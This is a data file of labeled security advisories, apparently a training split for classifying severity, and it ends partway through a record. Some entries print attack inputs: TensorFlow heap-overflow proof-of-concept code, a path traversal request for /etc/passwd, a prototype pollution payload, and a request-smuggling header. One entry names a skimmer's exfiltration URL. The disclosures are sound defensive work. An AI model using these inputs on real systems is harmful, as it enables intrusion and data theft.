-{"id": "cb870d7f2a4d31fbc9a4", "text": "Heap buffer overflow in `Conv3DBackprop*`\n\n### Impact\nMissing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows:\n\n```python\nimport tensorflow as tf\n\ninput_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)\nfilter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,\n                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,\n                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32)\nout_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n```python\nimport tensorflow as tf\n\ninput_values = [-10.0] * (7 * 7 * 7 * 7 * 7)\ninput_values[0] = 429.6491056791816\ninput_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32)\nfilter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32)\nout_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153) assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel.\n\n### Patches\nWe have patched the issue in GitHub commit [8f37b52e1320d8d72a9529b2468277791a261197](https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our securityguide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `Conv3DBackprop*`\n\n[Severity: LOW]\n\n### Impact\nMissing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows:\n\n```python\nimport tensorflow as tf\n\ninput_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)\nfilter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,\n                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,\n                            -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32)\nout_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n```python\nimport tensorflow as tf\n\ninput_values = [-10.0] * (7 * 7 * 7 * 7 * 7)\ninput_values[0] = 429.6491056791816\ninput_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32)\nfilter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32)\nout_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)\n  \ntf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153) assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel.\n\n### Patches\nWe have patched the issue in GitHub commit [8f37b52e1320d8d72a9529b2468277791a261197](https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our securityguide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "9d886595aacffca228af", "text": "dwebp-bin downloads Resources over HTTP\n\nAffected versions of `dwebp-bin` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dwebp-bin`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "dwebp-bin downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `dwebp-bin` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dwebp-bin`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "c99823674cecb94a2856", "text": "SMTP Injection in PHPMailer\n\n### Impact\nAttackers could inject arbitrary SMTP commands via by exploiting the fact that valid email addresses may contain line breaks, which are not handled correctly in some contexts.\n\n### Patches\nFixed in 5.2.14 in [this commit](https://github.com/PHPMailer/PHPMailer/commit/6687a96a18b8f12148881e4ddde795ae477284b0).\n\n### Workarounds\nManually strip line breaks from email addresses before passing them to PHPMailer.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2015-8476\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "text_raw": "SMTP Injection in PHPMailer\n\n[Severity: LOW]\n\n### Impact\nAttackers could inject arbitrary SMTP commands via by exploiting the fact that valid email addresses may contain line breaks, which are not handled correctly in some contexts.\n\n### Patches\nFixed in 5.2.14 in [this commit](https://github.com/PHPMailer/PHPMailer/commit/6687a96a18b8f12148881e4ddde795ae477284b0).\n\n### Workarounds\nManually strip line breaks from email addresses before passing them to PHPMailer.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2015-8476\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-03-05", "split": "train"}
-{"id": "38eaa90e610703b24c83", "text": "Insecure Cryptography Algorithm in simple-crypto-js\n\nVersions of `simple-crypto-js` prior to 2.3.0 use AES-CBC with PKCS#7 padding, which is vulnerable to padding oracle attacks. This may allow attackers to break the encryption and access sensitive data.\n\n## Recommendation\n\nUpgrade to version 2.3.0 or later.", "text_raw": "Insecure Cryptography Algorithm in simple-crypto-js\n\n[Severity: MEDIUM]\n\nVersions of `simple-crypto-js` prior to 2.3.0 use AES-CBC with PKCS#7 padding, which is vulnerable to padding oracle attacks. This may allow attackers to break the encryption and access sensitive data.\n\n\n## Recommendation\n\nUpgrade to version 2.3.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ff0c92af24276b29a045", "text": "Exposure of Sensitive Information in keycloak\n\nA flaw was found in keycloak before version 9.0.1. When configuring an Conditional OTP Authentication Flow as a post login flow of an IDP, the failure login events for OTP are not being sent to the brute force protection event queue. So BruteForceProtector does not handle this events.", "text_raw": "Exposure of Sensitive Information in keycloak\n\n[Severity: MEDIUM]\n\nA flaw was found in keycloak before version 9.0.1. When configuring an Conditional OTP Authentication Flow as a post login flow of an IDP, the failure login events for OTP are not being sent to the brute force protection event queue. So BruteForceProtector does not handle this events.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "445c69d026b9c7f38bbb", "text": "Improper Input Validation in org.wildfly:wildfly-undertow\n\nA flaw was found in Wildfly 9.x. A path traversal vulnerability through the org.wildfly.extension.undertow.deployment.ServletResourceManager.getResource method could lead to information disclosure of arbitrary local files.", "text_raw": "Improper Input Validation in org.wildfly:wildfly-undertow\n\n[Severity: MEDIUM]\n\nA flaw was found in Wildfly 9.x. A path traversal vulnerability through the org.wildfly.extension.undertow.deployment.ServletResourceManager.getResource method could lead to information disclosure of arbitrary local files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "6de2ac9a3bfb5b5f0aab", "text": "Prototype Pollution in lodash\n\nVersions of `lodash` before 4.17.11 are vulnerable to prototype pollution.\n\nThe vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.17.11 or later.", "text_raw": "Prototype Pollution in lodash\n\n[Severity: HIGH]\n\nVersions of `lodash` before 4.17.11 are vulnerable to prototype pollution. \n\nThe vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.17.11 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "64a78abbda3d681987ed", "text": "XML External Entity (XXE) vulnerability in neo4j.procedure:apoc\n\nneo4j-contrib neo4j-apoc-procedures version before commit 45bc09c contains a XML External Entity (XXE) vulnerability in XML Parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This vulnerability appears to have been fixed in after commit 45bc09c.", "text_raw": "XML External Entity (XXE) vulnerability in neo4j.procedure:apoc\n\n[Severity: CRITICAL]\n\nneo4j-contrib neo4j-apoc-procedures version before commit 45bc09c contains a XML External Entity (XXE) vulnerability in XML Parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This vulnerability appears to have been fixed in after commit 45bc09c.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "4e92d5ee05e2f17eb221", "text": "Predictable CSRF tokens in centreon/centreon\n\nAn issue was discovered in Centreon-Web in Centreon Platform 20.10.0. The anti-CSRF token generation is predictable, which might allow CSRF attacks that add an admin user.", "text_raw": "Predictable CSRF tokens in centreon/centreon\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Centreon-Web in Centreon Platform 20.10.0. The anti-CSRF token generation is predictable, which might allow CSRF attacks that add an admin user.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "53940ad31f75174ecbcd", "text": "up.time 7.5.0 Superadmin Privilege Escalation Exploit", "text_raw": "up.time 7.5.0 Superadmin Privilege Escalation Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-08-19", "split": "train"}
-{"id": "b80bbabbe211f820f5f6", "text": "Malicious Package in vue-backbone\n\nVersion 0.1.2 of `vue-backbone` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in vue-backbone\n\n[Severity: CRITICAL]\n\nVersion 0.1.2 of `vue-backbone` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2af926e800086e1014c6", "text": "SQL Injection in query-mysql\n\nAll versions of `query-mysql` are vulnerable to SQL injection due to lack of user input sanitization allows to run arbitrary SQL queries when fetching data from database.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module if user input is passed into this module.", "text_raw": "SQL Injection in query-mysql\n\n[Severity: HIGH]\n\nAll versions of `query-mysql` are vulnerable to SQL injection due to lack of user input sanitization allows to run arbitrary SQL queries when fetching data from database.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module if user input is passed into this module.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-10", "split": "train"}
-{"id": "695ee71899fed06d1c53", "text": "Directory Traversal in rtcmulticonnection-client\n\nAffected versions of `rtcmulticonnection-client` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in rtcmulticonnection-client\n\n[Severity: HIGH]\n\nAffected versions of `rtcmulticonnection-client` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "23bc886fb3b38ac04ab0", "text": "Incomplete List of Disallowed Inputs in SOFA-Hessian\n\nSOFA-Hessian through 4.0.2 allows remote attackers to execute arbitrary commands via a crafted serialized Hessian object because blacklisting of com.caucho.naming.QName and com.sun.org.apache.xpath.internal.objects.XString is mishandled, related to Resin Gadget.", "text_raw": "Incomplete List of Disallowed Inputs in SOFA-Hessian\n\n[Severity: CRITICAL]\n\nSOFA-Hessian through 4.0.2 allows remote attackers to execute arbitrary commands via a crafted serialized Hessian object because blacklisting of com.caucho.naming.QName and com.sun.org.apache.xpath.internal.objects.XString is mishandled, related to Resin Gadget.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-03-06", "split": "train"}
-{"id": "25beb0bd2c26881f1205", "text": "Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`node-tar` aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`.\n\nThis logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite.\n\n### Patches\n\n3.2.2 || 4.4.14 || 5.0.6 || 6.1.1\n\nNOTE: an adjacent issue [CVE-2021-32803](https://github.com/npm/node-tar/security/advisories/GHSA-r628-mhmh-qjhw) affects this release level. Please ensure you update to the latest patch levels that address CVE-2021-32803 as well if this adjacent issue affects your `node-tar` use case.\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths.\n\n```js\nconst path = require('path')\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  // either add this function...\n  onentry: (entry) => {\n    if (path.isAbsolute(entry.path)) {\n      entry.path = sanitizeAbsolutePathSomehow(entry.path)\n      entry.absolute = path.resolve(entry.path)\n    }\n  },\n\n// or this one\n  filter: (file, entry) => {\n    if (path.isAbsolute(entry.path)) {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.", "text_raw": "Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization\n\n[Severity: HIGH]\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`node-tar` aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. \n\nThis logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. \n\n### Patches\n\n3.2.2 || 4.4.14 || 5.0.6 || 6.1.1\n\nNOTE: an adjacent issue [CVE-2021-32803](https://github.com/npm/node-tar/security/advisories/GHSA-r628-mhmh-qjhw) affects this release level. Please ensure you update to the latest patch levels that address CVE-2021-32803 as well if this adjacent issue affects your `node-tar` use case.\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths.\n\n```js\nconst path = require('path')\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  // either add this function...\n  onentry: (entry) => {\n    if (path.isAbsolute(entry.path)) {\n      entry.path = sanitizeAbsolutePathSomehow(entry.path)\n      entry.absolute = path.resolve(entry.path)\n    }\n  },\n\n  // or this one\n  filter: (file, entry) => {\n    if (path.isAbsolute(entry.path)) {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-03", "split": "train"}
-{"id": "20a210b3906afc7382f9", "text": "BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit", "text_raw": "BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2008-08-10", "split": "train"}
-{"id": "ae4cf3ff9a33b901207a", "text": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b896bb25c98e1e2cc3c8", "text": "Malicious Package in mogobd\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in mogobd\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "feb290e3ab41a07df625", "text": "Cross-site request forgery in Django\n\nDjango 1.1.x before 1.1.4 and 1.2.x before 1.2.5 does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged AJAX requests that leverage a \"combination of browser plugins and redirects,\" a related issue to CVE-2011-0447.", "text_raw": "Cross-site request forgery in Django\n\n[Severity: HIGH]\n\nDjango 1.1.x before 1.1.4 and 1.2.x before 1.2.5 does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged AJAX requests that leverage a \"combination of browser plugins and redirects,\" a related issue to CVE-2011-0447.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "19f0af9fb0fe1a70616b", "text": "Incomplete List of Disallowed Inputs in Kubernetes\n\nA security issue was discovered in Kubernetes where a user may be able to redirect pod traffic to private networks on a Node. Kubernetes already prevents creation of Endpoint IPs in the localhost or link-local range, but the same validation was not performed on EndpointSlice IPs.", "text_raw": "Incomplete List of Disallowed Inputs in Kubernetes\n\n[Severity: MEDIUM]\n\nA security issue was discovered in Kubernetes where a user may be able to redirect pod traffic to private networks on a Node. Kubernetes already prevents creation of Endpoint IPs in the localhost or link-local range, but the same validation was not performed on EndpointSlice IPs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "8805fbd4149b23d00d57", "text": "HTTP Request Smuggling: Invalid whitespace characters in headers in Waitress\n\n### Impact\n\nIf a proxy server is used in front of waitress, an invalid request may be sent by an attacker that bypasses the front-end and is parsed differently by waitress leading to a potential for HTTP request smuggling.\n\n```\nContent-Length: 10\nTransfer-Encoding: [\\x0b]chunked\n```\n\nFor clarity:\n\n```\n0x0b == vertical tab\n```\n\nWould get parsed by Waitress as being a `chunked` request, but a front-end server would use the `Content-Length` instead as the `Transfer-Encoding` header is considered invalid due to containing invalid characters.\n\nIf a front-end server does HTTP pipelining to a backend Waitress server this could lead to HTTP request splitting which may lead to potential cache poisoning or unexpected information disclosure.\n\n### Patches\n\nPlease upgrade to Waitress 1.4.1 which fixes this issue with stricter HTTP field validation.\n\nWaitress 1.4.1 due to this change has become much more strict in what is allowed in header values, while the maintainers don't believe that these changes will cause any issues, it may cause failures with non-conformist reverse proxies or clients, and it is highly recommend that users validate the changes in their environment and make sure it won't cause any unacceptable failures.\n\n### Workarounds\n\nYou may enable additional protections on front-end servers, those that follow RFC7230 correctly would drop the request with a 400 Bad Request.\n\nWaitress will now correctly responds to the request with a 400 Bad Request, and will drop the connection to avoid any potential HTTP pipelining issues.\n\n### References\n\nThis was mentioned in https://portswigger.net/research/http-desync-attacks-what-happened-next and was specifically mentioned as being an issue in HAProxy which did not properly filter it in this article: https://nathandavison.com/blog/haproxy-http-request-smuggling\n\n### Thanks\n\nThe Pylons Project would like to thank ZeddYu Lu for doing extended testing against Waitress 1.4.0 and bringing this to our attention!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "text_raw": "HTTP Request Smuggling: Invalid whitespace characters in headers in Waitress\n\n[Severity: HIGH]\n\n### Impact\n\nIf a proxy server is used in front of waitress, an invalid request may be sent by an attacker that bypasses the front-end and is parsed differently by waitress leading to a potential for HTTP request smuggling.\n\n```\nContent-Length: 10\nTransfer-Encoding: [\\x0b]chunked\n```\n\nFor clarity:\n\n```\n0x0b == vertical tab\n```\n\nWould get parsed by Waitress as being a `chunked` request, but a front-end server would use the `Content-Length` instead as the `Transfer-Encoding` header is considered invalid due to containing invalid characters.\n\nIf a front-end server does HTTP pipelining to a backend Waitress server this could lead to HTTP request splitting which may lead to potential cache poisoning or unexpected information disclosure.\n\n### Patches\n\nPlease upgrade to Waitress 1.4.1 which fixes this issue with stricter HTTP field validation.\n\nWaitress 1.4.1 due to this change has become much more strict in what is allowed in header values, while the maintainers don't believe that these changes will cause any issues, it may cause failures with non-conformist reverse proxies or clients, and it is highly recommend that users validate the changes in their environment and make sure it won't cause any unacceptable failures.\n\n### Workarounds\n\nYou may enable additional protections on front-end servers, those that follow RFC7230 correctly would drop the request with a 400 Bad Request.\n\nWaitress will now correctly responds to the request with a 400 Bad Request, and will drop the connection to avoid any potential HTTP pipelining issues.\n\n### References\n\nThis was mentioned in https://portswigger.net/research/http-desync-attacks-what-happened-next and was specifically mentioned as being an issue in HAProxy which did not properly filter it in this article: https://nathandavison.com/blog/haproxy-http-request-smuggling\n\n### Thanks\n\nThe Pylons Project would like to thank ZeddYu Lu for doing extended testing against Waitress 1.4.0 and bringing this to our attention!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-26", "split": "train"}
-{"id": "a20252dc995dd39f22c8", "text": "Malicious Package in epress\n\nVersion 4.13.2 of `epress` contains malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "text_raw": "Malicious Package in epress\n\n[Severity: CRITICAL]\n\nVersion 4.13.2 of `epress` contains malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "687b1d6e9d98d4427401", "text": "Reliance on Cookies without validation in OctoberCMS\n\n### Impact\nPreviously encrypted cookie values were not tied to the name of the cookie the value belonged to. This meant that certain classes of attacks that took advantage of other theoretical vulnerabilities in user facing code (nothing exploitable in the core project itself) had a higher chance of succeeding.\n\nSpecifically, if your usage exposed a way for users to provide unfiltered user input and have it returned to them as an encrypted cookie (ex. storing a user provided search query in a cookie) they could then use the generated cookie in place of other more tightly controlled cookies; or if your usage exposed the plaintext version of an encrypted cookie at any point to the user they could theoretically provide encrypted content from your application back to it as an encrypted cookie and force the framework to decrypt it for them.\n\n### Patches\nIssue has been patched in Build 468 (v1.0.468).\n\n>**NOTE**: If you are using the cookie session driver, all of your session data will be invalidated. All other session drivers should smoothly upgrade to the changes (although the backend authentication persist cookie will also be invalidated requiring users to login again once their current session expires).\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/28310d4fb336a1741b39498f4474497644a6875c to your installation manually if unable to upgrade to Build 468.\n\n### References\n- https://blog.laravel.com/laravel-cookie-security-releases\n- https://github.com/laravel/framework/compare/4c7d118181d6c7f1f883643702df807ced016c5e...a731824421f9ebc586728ea9c7cff231a249aaa9\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Acknowledgements\n\nThanks to [Takashi Terada of Mitsui Bussan Secure Directions, Inc.](https://www.linkedin.com/in/takeshi-terada-b570a6100/) for finding the original issue in Laravel and @taylorotwell for sharing the report with the October CMS team.", "text_raw": "Reliance on Cookies without validation in OctoberCMS\n\n[Severity: MEDIUM]\n\n### Impact\nPreviously encrypted cookie values were not tied to the name of the cookie the value belonged to. This meant that certain classes of attacks that took advantage of other theoretical vulnerabilities in user facing code (nothing exploitable in the core project itself) had a higher chance of succeeding. \n\nSpecifically, if your usage exposed a way for users to provide unfiltered user input and have it returned to them as an encrypted cookie (ex. storing a user provided search query in a cookie) they could then use the generated cookie in place of other more tightly controlled cookies; or if your usage exposed the plaintext version of an encrypted cookie at any point to the user they could theoretically provide encrypted content from your application back to it as an encrypted cookie and force the framework to decrypt it for them. \n\n### Patches\nIssue has been patched in Build 468 (v1.0.468).\n\n>**NOTE**: If you are using the cookie session driver, all of your session data will be invalidated. All other session drivers should smoothly upgrade to the changes (although the backend authentication persist cookie will also be invalidated requiring users to login again once their current session expires).\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/28310d4fb336a1741b39498f4474497644a6875c to your installation manually if unable to upgrade to Build 468.\n\n### References\n- https://blog.laravel.com/laravel-cookie-security-releases\n- https://github.com/laravel/framework/compare/4c7d118181d6c7f1f883643702df807ced016c5e...a731824421f9ebc586728ea9c7cff231a249aaa9\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at 